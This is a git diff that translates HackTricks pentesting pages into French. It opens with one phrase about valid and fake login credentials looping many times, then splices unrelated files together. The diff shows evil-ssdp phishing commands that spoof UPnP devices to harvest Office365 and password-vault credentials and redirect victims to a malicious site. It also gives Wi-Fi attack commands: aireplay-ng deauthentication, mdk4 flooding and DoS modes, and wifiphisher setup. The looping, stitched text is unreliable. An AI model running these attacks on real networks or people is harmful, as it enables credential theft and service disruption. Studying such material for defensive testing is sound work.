et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations ```bash python3 evil-ssdp.py eth0 --template office365 ``` - ![](https://i1.wp.com/1.bp.blogspot.com/-8GWxmKPDkIo/Xkq5RmgF8\_I/AAAAAAAAis0/bxVTcd4aBCUZBEDuUIg3-G39aMu7l5YCgCLcBGAsYHQ/s1600/6.png?w=687\&ssl=1) -As we can see that the tool has done its job and hosted multiple template files on our attacker machine at port 8888. +Comme nous pouvons le voir, l'outil a fait son travail et a hébergé plusieurs fichiers de modèle sur notre machine attaquante au port 8888. -### **Manipulating User** +### **Manipulation de l'utilisateur** -As soon as we run the tool, we have a UPnP device named Office365 Backups. This was done by the tool without having to send any file, payload or any other type of interaction to the target user. All that’s left is the user to click on the icon. +Dès que nous exécutons l'outil, nous avons un périphérique UPnP nommé Office365 Backups. Cela a été fait par l'outil sans avoir à envoyer de fichier, de charge utile ou tout autre type d'interaction à l'utilisateur cible. Tout ce qui reste, c'est que l'utilisateur clique sur l'icône. ![](https://i0.wp.com/1.bp.blogspot.com/-txqBOw02D6w/Xkq5RgolUcI/AAAAAAAAis4/wkQTzYBmtdU\_Nbq9X1qI47FlJtdqHvIjQCLcBGAsYHQ/s1600/7.png?w=687\&ssl=1) -Upon being clicked by the user, the target user is redirected to our fake template page through their default browser. This is a very genuine looking Microsoft webpage. The clueless user enters their valid credentials onto this page. +Lorsque l'utilisateur cible clique sur l'icône, il est redirigé vers notre fausse page de modèle via son navigateur par défaut. Il s'agit d'une page Microsoft très authentique. L'utilisateur sans méfiance entre ses identifiants valides sur cette page. ![](https://i1.wp.com/1.bp.blogspot.com/-69Tf3PRpvhM/Xkq5RziDXzI/AAAAAAAAis8/vjejKgh0XigRHFC2Ib8QCpPlzx\_RAu4eACLcBGAsYHQ/s1600/8.png?w=687\&ssl=1) -### **Grabbing the Credentials** +### **Récupération des identifiants** -As soon as the user enters the credentials and they get passed as the post request to the server, which is our target machine, we see that on our terminal, we have the credentials. +Dès que l'utilisateur entre les identifiants et qu'ils sont transmis en tant que demande de publication sur le serveur, qui est notre machine cible, nous voyons que sur notre terminal, nous avons les identifiants. ![](https://i0.wp.com/1.bp.blogspot.com/-3KXN6DKT\_E0/Xkq5SEwhKHI/AAAAAAAAitA/a2gTi5UwNE0JsMH-XQEW33MchkxgjPGSwCLcBGAsYHQ/s1600/9.png?w=687\&ssl=1) -## **Diverting User to a Password Vault SSDP** +## **Déviation de l'utilisateur vers un SSDP de coffre-fort de mot de passe** -Until now, we successfully spoofed the target user to gain some scanner credentials and some Office365 backup credentials. But now we go for the most important thing that is used as a UPnP, The Password Vault. +Jusqu'à présent, nous avons réussi à usurper l'utilisateur cible pour obtenir des identifiants de scanner et des identifiants de sauvegarde Office365. Mais maintenant, nous allons pour la chose la plus importante qui est utilisée comme un UPnP, le coffre-fort de mot de passe. -### **Template Configuration** - -As we did in our previous practices, we will have to set up the template for the password-vault. In no time, the tool hosts the password-vault template onto the port 8888. +### **Configuration du modèle** +Comme nous l'avons fait dans nos pratiques précédentes, nous devrons configurer le modèle pour le coffre-fort de mot de passe. En un rien de temps, l'outil héberge le modèle de coffre-fort de mot de passe sur le port 8888. ```bash python3 evil-ssdp.py eth0 --template password-vault ``` +### **Manipulation de l'utilisateur** -![](https://i2.wp.com/1.bp.blogspot.com/-YPQirClmWN4/Xkq5O5WFgoI/AAAAAAAAisI/4\_i4ogVRWE0C\_ez3p6EkL8YdJ0ot48DmwCLcBGAsYHQ/s1600/10.png?w=687\&ssl=1) - -### **Manipulating User** - -Moving onto the target machine, we see that the Password Vault UPnP is visible in the Explorer. Now lies that the user clicks on the device and gets trapped into our attack. Seeing something like Password Vault, the user will be tempted to click on the icon. +En passant à la machine cible, nous voyons que le Password Vault UPnP est visible dans l'Explorateur. Maintenant, il suffit que l'utilisateur clique sur le périphérique et tombe dans notre attaque. En voyant quelque chose comme Password Vault, l'utilisateur sera tenté de cliquer sur l'icône. ![](https://i2.wp.com/1.bp.blogspot.com/-3oMPYaCZ46k/Xkq5PB4zQ\_I/AAAAAAAAisM/i5C8qZVB8RYWBwAkiKCZbdptIbsnk4CUwCLcBGAsYHQ/s1600/11.png?w=687\&ssl=1) -As the clueless user thinks that he/she has achieved far most important stuff with the fake keys and passwords. This works as a distraction for the user, as this will lead the user to try this exhaustive list of credentials with no success. +Comme l'utilisateur sans méfiance pense qu'il/elle a accompli des choses très importantes avec les fausses clés et les mots de passe. Cela fonctionne comme une distraction pour l'utilisateur, car cela le conduira à essayer cette liste exhaustive de justificatifs sans succès. ![](https://i0.wp.com/1.bp.blogspot.com/-SrCMlWIUxCM/Xkq5Pg\_IznI/AAAAAAAAisU/L\_ZIvQKfltkyk9iUCrEGyXCojx5b86uFgCLcBGAsYHQ/s1600/12.png?w=687\&ssl=1) -## **Spoofing Microsoft Azure SSDP** +## **Falsification de SSDP Microsoft Azure** -While working with Spoofing, one of the most important tasks is to not let the target user know that he/she has been a victim of Spoofing. This can be achieved by redirecting the user after we grab the credentials or cookies or anything that the attacker wanted to acquire. The evil\_ssdp tool has a parameter (-u) which redirects the targeted user to any URL of the attacker’s choice. Let’s take a look at the working of this parameter in action. - -To start, we will use the python3 for loading the tool. Followed by we mention the Network Interface that should be used. Now for this practical, we will be using the Microsoft Azure Storage Template. After selecting the template, we put the (-u) parameter and then mention any URL where we want to redirect the user. Here we are using the Microsoft official Link. But this can be any malicious site. +Lorsque l'on travaille avec la falsification, l'une des tâches les plus importantes est de ne pas laisser l'utilisateur cible savoir qu'il/elle a été victime de la falsification. Cela peut être réalisé en redirigeant l'utilisateur après que l'attaquant ait récupéré les justificatifs ou les cookies ou tout ce que l'attaquant voulait acquérir. L'outil evil\_ssdp dispose d'un paramètre (-u) qui redirige l'utilisateur ciblé vers n'importe quelle URL choisie par l'attaquant. Examinons le fonctionnement de ce paramètre en action. +Pour commencer, nous utiliserons python3 pour charger l'outil. Ensuite, nous mentionnons l'interface réseau qui doit être utilisée. Maintenant, pour cette pratique, nous utiliserons le modèle de stockage Microsoft Azure. Après avoir sélectionné le modèle, nous mettons le paramètre (-u) et mentionnons ensuite n'importe quelle URL où nous voulons rediriger l'utilisateur. Ici, nous utilisons le lien officiel de Microsoft. Mais cela peut être n'importe quel site malveillant. ```bash python3 evil-ssdp.py eth0 --template microsoft-azure -u https://malicous-site.com ``` +### **Manipulation de l'utilisateur** -![](https://i2.wp.com/1.bp.blogspot.com/-ReHCqgFazX0/Xkq5QBiQ7jI/AAAAAAAAisY/\_DFdnzBpSGY1iDP1YJxeVTHF3iS5PZnqwCLcBGAsYHQ/s1600/13.png?w=687\&ssl=1) - -### **Manipulating User** - -Now that we have started the tool, it will create a UPnP device on the Target Machine as shown in the image given below. For the attack to be successful, the target needs to click on the device. +Maintenant que nous avons lancé l'outil, il créera un périphérique UPnP sur la machine cible comme indiqué dans l'image ci-dessous. Pour que l'attaque réussisse, la cible doit cliquer sur le périphérique. ![](https://i1.wp.com/1.bp.blogspot.com/-rROTfEGP3z8/Xkq5QBn46dI/AAAAAAAAisc/7RDv7fI3BPYt1XmrKVRKOEHurkGY1xeogCLcBGAsYHQ/s1600/14.png?w=687\&ssl=1) -After clicking the icon, we see that the user is redirected to the Microsoft Official Page. This can be whatever the attacker wants it to be. +Après avoir cliqué sur l'icône, nous voyons que l'utilisateur est redirigé vers la page officielle de Microsoft. Cela peut être ce que l'attaquant veut. ![](https://i2.wp.com/1.bp.blogspot.com/-gU36s2kyIbg/Xkq5QVRh61I/AAAAAAAAisg/hN3uVMTPh-suDiH5ID3-mWcQiNvDVYeJACLcBGAsYHQ/s1600/15.png?w=687\&ssl=1) -This concludes our practical of this awesome spoofing tool. +Ceci conclut notre pratique de cet outil de spoofing impressionnant. -## **Mitigation** +## **Atténuation** -* Disable UPnP devices. -* Educate Users to prevent phishing attacks -* Monitor the network for the password travel in cleartext. +* Désactiver les périphériques UPnP. +* Éduquer les utilisateurs pour prévenir les attaques de phishing. +* Surveiller le réseau pour le voyage de mot de passe en clair.
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
diff --git a/generic-methodologies-and-resources/pentesting-wifi/README.md b/generic-methodologies-and-resources/pentesting-wifi/README.md index 9b4a06e0f..7b45f0d2e 100644 --- a/generic-methodologies-and-resources/pentesting-wifi/README.md +++ b/generic-methodologies-and-resources/pentesting-wifi/README.md @@ -4,26 +4,25 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
-[**Follow HackenProof**](https://bit.ly/3xrrDrL) **to learn more about web3 bugs** +[**Suivez HackenProof**](https://bit.ly/3xrrDrL) **pour en savoir plus sur les bugs web3** -🐞 Read web3 bug tutorials +🐞 Lisez les tutoriels de bugs web3 -🔔 Get notified about new bug bounties +🔔 Recevez des notifications sur les nouveaux programmes de primes de bugs -💬 Participate in community discussions - -## Wifi basic commands +💬 Participez aux discussions de la communauté +## Commandes de base Wifi ```bash ip link show #List available interfaces iwconfig #List available interfaces @@ -36,26 +35,26 @@ iwconfig wlan0 mode monitor #Put in mode monitor iwconfig wlan0mon mode managed #Quit mode monitor - managed mode iw dev wlan0 scan | grep "^BSS\|SSID\|WSP\|Authentication\|WPS\|WPA" #Scan available wifis ``` - -## Tools +## Outils ### EAPHammer - ``` git clone https://github.com/s0lst1c3/eaphammer.git ./kali-setup ``` - ### Airgeddon +Airgeddon est un script Bash utilisé pour auditer les réseaux sans fil. Il est conçu pour être utilisé avec Kali Linux et peut être utilisé pour effectuer des attaques de force brute, des attaques de dictionnaire, des attaques Evil Twin, des attaques de phishing, des attaques de déni de service, des attaques de falsification de paquets, des attaques de répétition de paquets, des attaques de déconnexion, des attaques de capture de poignée de main WPA/WPA2, et bien plus encore. Airgeddon est un outil très puissant pour les tests de pénétration des réseaux sans fil. ```bash mv `which dhcpd` `which dhcpd`.old apt install isc-dhcp-server apt-get install sslstrip asleap bettercap mdk4 hostapd beef-xss lighttpd dsniff hostapd-wpe ``` +**Exécuter airgeddon avec docker** -**Run airgeddon with docker** +Vous pouvez exécuter airgeddon dans un conteneur Docker pour éviter d'installer les dépendances nécessaires sur votre système hôte. Pour ce faire, vous devez d'abord installer Docker sur votre système. Ensuite, vous pouvez créer un conteneur Docker pour airgeddon en utilisant le fichier Dockerfile fourni dans le référentiel airgeddon. +Une fois que vous avez créé le conteneur Docker, vous pouvez exécuter airgeddon en utilisant la commande `docker run`. Assurez-vous de monter le répertoire de sortie de airgeddon sur votre système hôte afin de pouvoir accéder aux fichiers de sortie générés par airgeddon. ```bash docker run \ --rm \ @@ -68,88 +67,80 @@ docker run \ -e DISPLAY=$(env | grep DISPLAY | awk -F "=" '{print $2}') \ v1s1t0r1sh3r3/airgeddon ``` - -From: [https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Docker%20Linux](https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Docker%20Linux) - ### wifiphisher -It can perform Evil Twin, KARMA, and Known Beacons attacks and then use a phishing template to manage to obtain the network real password or capture social network credentials. - +Il peut effectuer des attaques Evil Twin, KARMA et Known Beacons, puis utiliser un modèle de phishing pour obtenir le vrai mot de passe du réseau ou capturer les informations d'identification des réseaux sociaux. ```bash git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision cd wifiphisher # Switch to tool's directory sudo python setup.py install # Install any dependencies ``` - ### [Wifite2](https://github.com/derv82/wifite2) -This tool automates **WPS/WEP/WPA-PSK** attacks. It will automatically: +Cet outil automatise les attaques **WPS/WEP/WPA-PSK**. Il effectuera automatiquement les actions suivantes : -* Set the interface in monitor mode -* Scan for possible networks - And let you select the victim(s) -* If WEP - Launch WEP attacks -* If WPA-PSK - * If WPS: Pixie dust attack and the bruteforce attack (be careful the brute-force attack could take a long time). Notice that it doesn't try null PIN or database/generated PINs. - * Try to capture the PMKID from the AP to crack it - * Try to deauthenticate clients of the AP to capture a handshake - * If PMKID or Handshake, try to bruteforce using top5000 passwords. +* Mettre l'interface en mode monitor +* Scanner les réseaux possibles - Et vous permettre de sélectionner la ou les victimes +* Si WEP - Lancer des attaques WEP +* Si WPA-PSK + * Si WPS : Attaque Pixie Dust et attaque de force brute (soyez prudent, l'attaque de force brute peut prendre beaucoup de temps). Notez qu'elle n'essaie pas les PIN null ou les PIN générés à partir de la base de données. + * Essayer de capturer le PMKID de l'AP pour le casser + * Essayer de déconnecter les clients de l'AP pour capturer une poignée de main + * Si PMKID ou Handshake, essayer de casser en utilisant les 5000 meilleurs mots de passe. -## Attacks Summary +## Résumé des attaques * **DoS** - * Deauthentication/disassociation -- Disconnect everyone (or a specific ESSID/Client) - * Random fake APs -- Hide nets, possible crash scanners - * Overload AP -- Try to kill the AP (usually not very useful) - * WIDS -- Play with the IDS - * TKIP, EAPOL -- Some specific attacks to DoS some APs -* **Cracking** - * Crack **WEP** (several tools and methods) + * Déconnexion/dissociation -- Déconnecter tout le monde (ou un ESSID/Client spécifique) + * Faux AP aléatoires -- Cacher les réseaux, possible de faire planter les scanners + * Surcharge de l'AP -- Essayer de tuer l'AP (généralement pas très utile) + * WIDS -- Jouer avec l'IDS + * TKIP, EAPOL -- Quelques attaques spécifiques pour DoS certains APs +* **Cassage** + * Casser **WEP** (plusieurs outils et méthodes) * **WPA-PSK** * **WPS** pin "Brute-Force" * **WPA PMKID** bruteforce - * \[DoS +] **WPA handshake** capture + Cracking + * \[DoS +] Capture de **poignée de main WPA** + Cassage * **WPA-MGT** - * **Username capture** - * **Bruteforce** Credentials -* **Evil Twin** (with or without DoS) - * **Open** Evil Twin \[+ DoS] -- Useful to capture captive portal creds and/or perform LAN attacks - * **WPA-PSK** Evil Twin -- Useful to network attacks if you know the password - * **WPA-MGT** -- Useful to capture company credentials -* **KARMA, MANA**, **Loud MANA**, **Known beacon** - * **+ Open** -- Useful to capture captive portal creds and/or perform LAN attacks - * **+ WPA** -- Useful to capture WPA handshakes + * **Capture de nom d'utilisateur** + * **Bruteforce** des informations d'identification +* **Evil Twin** (avec ou sans DoS) + * **Open** Evil Twin \[+ DoS] -- Utile pour capturer les informations d'identification du portail captif et/ou effectuer des attaques LAN + * **WPA-PSK** Evil Twin -- Utile pour les attaques réseau si vous connaissez le mot de passe + * **WPA-MGT** -- Utile pour capturer les informations d'identification de l'entreprise +* **KARMA, MANA**, **Loud MANA**, **Beacon connu** + * **+ Open** -- Utile pour capturer les informations d'identification du portail captif et/ou effectuer des attaques LAN + * **+ WPA** -- Utile pour capturer les poignées de main WPA ## DOS -### Deauthentication Packets +### Paquets de déconnexion -The most common way this sort of attack is done is with **deauthentication** packets. These are a type of "management" frame responsible for disconnecting a device from an access point. Forging these packets is the key to [hacking many Wi-Fi networks](https://null-byte.wonderhowto.com/how-to/wi-fi-hacking/), as you can forcibly disconnect any client from the network at any time. The ease of which this can be done is somewhat frightening and is often done as part of gathering a WPA handshake for cracking. +La façon la plus courante de réaliser ce type d'attaque est avec des paquets de **déconnexion**. Il s'agit d'un type de trame "management" responsable de déconnecter un appareil d'un point d'accès. La falsification de ces paquets est la clé pour [pirater de nombreux réseaux Wi-Fi](https://null-byte.wonderhowto.com/how-to/wi-fi-hacking/), car vous pouvez déconnecter de force n'importe quel client du réseau à tout moment. La facilité avec laquelle cela peut être fait est quelque peu effrayante et est souvent fait dans le cadre de la collecte d'une poignée de main WPA pour la casser. -Aside from momentarily using this disconnection to harvest a handshake to crack, you can also just let those deauths keep coming, which has the effect of peppering the client with deauth packets seemingly from the network they are connected to. Because these frames aren't encrypted, many programs take advantage of management frames by forging them and sending them to either one or all devices on a network.\ -**Description from** [**here**](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**.** - -**Deauthentication using Aireplay-ng** +Outre l'utilisation momentanée de cette déconnexion pour collecter une poignée de main à casser, vous pouvez également laisser ces déconnexions continuer, ce qui a pour effet de bombarder le client avec des paquets de déconnexion apparemment du réseau auquel il est connecté. Comme ces trames ne sont pas chiffrées, de nombreux programmes en profitent en les falsifiant et en les envoyant à un ou à tous les appareils d'un réseau.\ +**Description provenant de** [**ici**](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**.** +**Déconnexion en utilisant Aireplay-ng** ``` aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0 ``` +* \-0 signifie déauthentification +* 1 est le nombre de déauthentifications à envoyer (vous pouvez en envoyer plusieurs si vous le souhaitez); 0 signifie les envoyer en continu +* \-a 00:14:6C:7E:40:80 est l'adresse MAC du point d'accès +* \-c 00:0F:B5:34:30:30 est l'adresse MAC du client à déauthentifier; si cela est omis, une déauthentification de diffusion est envoyée (ne fonctionne pas toujours) +* ath0 est le nom de l'interface -* \-0 means deauthentication -* 1 is the number of deauths to send (you can send multiple if you wish); 0 means send them continuously -* \-a 00:14:6C:7E:40:80 is the MAC address of the access point -* \-c 00:0F:B5:34:30:30 is the MAC address of the client to deauthenticate; if this is omitted then broadcast deauthentication is sent (not always work) -* ath0 is the interface name +### Paquets de désassociation -### Disassociation Packets +Les paquets de désassociation sont un autre type de trame de gestion qui est utilisé pour déconnecter un nœud (ce qui signifie tout appareil comme un ordinateur portable ou un téléphone portable) d'un point d'accès à proximité. La différence entre les trames de déauthentification et de désassociation réside principalement dans la manière dont elles sont utilisées. -Disassociation packets are another type of management frame that is used to disconnect a node (meaning any device like a laptop or cell phone) from a nearby access point. The difference between deauthentication and disassociation frames is primarily the way they are used. +Un point d'accès cherchant à déconnecter un périphérique malveillant enverrait une trame de déauthentification pour informer le périphérique qu'il a été déconnecté du réseau, tandis qu'une trame de désassociation est utilisée pour déconnecter tous les nœuds lorsque le point d'accès est mis hors tension, redémarré ou quitte la zone. -An AP looking to disconnect a rogue device would send a deauthentication packet to inform the device it has been disconnected from the network, whereas a disassociation packet is used to disconnect any nodes when the AP is powering down, rebooting, or leaving the area. - -**Description from** [**here**](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**.** - -**This attack can be performed by mdk4(mode "d"):** +**Description de** [**ici**](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**.** +**Cette attaque peut être effectuée par mdk4(mode "d"):** ```bash # -c # -b victim_client_mac.txt contains the MAC address of the device to eliminate @@ -158,15 +149,13 @@ An AP looking to disconnect a rogue device would send a deauthentication packet # Notice that these and other parameters aare optional, you could give onli the ESSID and md4k will automatically search for it, wait for finding clients and deauthenticate them mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F ``` +### **Plus d'attaques DOS par mdk4** -### **More DOS attacks by mdk4** +**À partir de** [**ici**](https://en.kali.tools/?p=864)**.** -**From** [**here**](https://en.kali.tools/?p=864)**.** - -**ATTACK MODE b: Beacon Flooding** - -Sends beacon frames to show fake APs at clients. This can sometimes crash network scanners and even drivers! +**MODE D'ATTAQUE b: Inondation de balises** +Envoie des trames de balises pour montrer de faux points d'accès aux clients. Cela peut parfois faire planter les scanners de réseau et même les pilotes ! ```bash # -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit # -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES) @@ -174,11 +163,9 @@ Sends beacon frames to show fake APs at clients. This can sometimes crash networ # All the parameters are optional and you could load ESSIDs from a file mdk4 wlan0mon b -a -w nta -m ``` +**MODE D'ATTAQUE a: Déni de service d'authentification** -**ATTACK MODE a: Authentication Denial-Of-Service** - -Sends authentication frames to all APs found in range. Too many clients can freeze or reset several APs. - +Envoie des trames d'authentification à tous les points d'accès (AP) trouvés dans la plage. Trop de clients peuvent bloquer ou réinitialiser plusieurs AP. ```bash # -a BSSID send random data from random clients to try the DoS # -i BSSID capture and repeat pakets from authenticated clients @@ -186,149 +173,133 @@ Sends authentication frames to all APs found in range. Too many clients can free # only -a or -i can be used mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m ``` +**MODE D'ATTAQUE p: Exploration et Bruteforce de SSID** -**ATTACK MODE p: SSID Probing and Bruteforcing** +Explore les points d'accès et vérifie s'il y a une réponse, utile pour vérifier si le SSID a été correctement démasqué et si le point d'accès est dans votre plage d'envoi. Le **bruteforce des SSID cachés** avec ou sans liste de mots est également disponible. -Probes APs and checks for answer, useful for checking if SSID has been correctly decloaked and if AP is in your sending range. **Bruteforcing of hidden SSIDs** with or without a wordlist is also available. - -**ATTACK MODE m: Michael Countermeasures Exploitation** - -Sends random packets or re-injects duplicates on another QoS queue to provoke Michael Countermeasures on **TKIP APs**. AP will then shutdown for a whole minute, making this an effective **DoS**. +**MODE D'ATTAQUE m: Exploitation des contre-mesures de Michael** +Envoie des paquets aléatoires ou réinjecte des doublons sur une autre file QoS pour provoquer les contre-mesures de Michael sur les **points d'accès TKIP**. Le point d'accès sera alors hors service pendant une minute entière, ce qui en fait une attaque **DoS** efficace. ```bash # -t of a TKIP AP # -j use inteligent replay to create the DoS mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j] ``` +**MODE D'ATTAQUE e: Injection de paquets EAPOL Start et Logoff** -**ATTACK MODE e: EAPOL Start and Logoff Packet Injection** - -Floods an AP with **EAPOL** Start frames to keep it busy with **fake sessions** and thus disables it to handle any legitimate clients. Or logs off clients by **injecting fake** EAPOL **Logoff messages**. - +Inonde un point d'accès avec des trames de démarrage EAPOL pour le maintenir occupé avec des sessions fictives et ainsi l'empêcher de gérer des clients légitimes. Ou déconnecte les clients en injectant de faux messages de déconnexion EAPOL. ```bash # Use Logoff messages to kick clients mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l] ``` +**MODE D'ATTAQUE s: Attaques pour les réseaux maillés IEEE 802.11s** -**ATTACK MODE s: Attacks for IEEE 802.11s mesh networks** +Diverses attaques sur la gestion des liens et le routage dans les réseaux maillés. Inonder les voisins et les routes, créer des trous noirs et détourner le trafic ! -Various attacks on link management and routing in mesh networks. Flood neighbors and routes, create black holes and divert traffic! - -**ATTACK MODE w: WIDS Confusion** - -Confuse/Abuse Intrusion Detection and Prevention Systems by cross-connecting clients to multiple WDS nodes or fake rogue APs. +**MODE D'ATTAQUE w: Confusion WIDS** +Confondre/Abuser les systèmes de détection et de prévention d'intrusion en connectant les clients à plusieurs nœuds WDS ou à de faux points d'accès malveillants. ```bash # -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts) mkd4 -e -c [-z] ``` +**MODE D'ATTAQUE f: Fuzzer de paquets** -**ATTACK MODE f: Packet Fuzzer** - -A simple packet fuzzer with multiple packet sources and a nice set of modifiers. Be careful! +Un simple fuzzer de paquets avec plusieurs sources de paquets et un ensemble intéressant de modificateurs. Soyez prudent ! ### **Airggedon** -_**Airgeddon**_ offers most of the attacks proposed in the previous comments: +_**Airgeddon**_ offre la plupart des attaques proposées dans les commentaires précédents : ![](<../../.gitbook/assets/image (126).png>) ## WPS -WPS stands for Wi-Fi Protected Setup. It is a wireless network security standard that tries to make connections between a router and wireless devices faster and easier. **WPS works only for wireless networks that use a password** that is encrypted with the **WPA** Personal or **WPA2** Personal security protocols. WPS doesn't work on wireless networks that are using the deprecated WEP security, which can be cracked easily by any hacker with a basic set of tools and skills. (From [here](https://www.digitalcitizen.life/simple-questions-what-wps-wi-fi-protected-setup)) +WPS signifie Wi-Fi Protected Setup. C'est une norme de sécurité de réseau sans fil qui essaie de rendre les connexions entre un routeur et des appareils sans 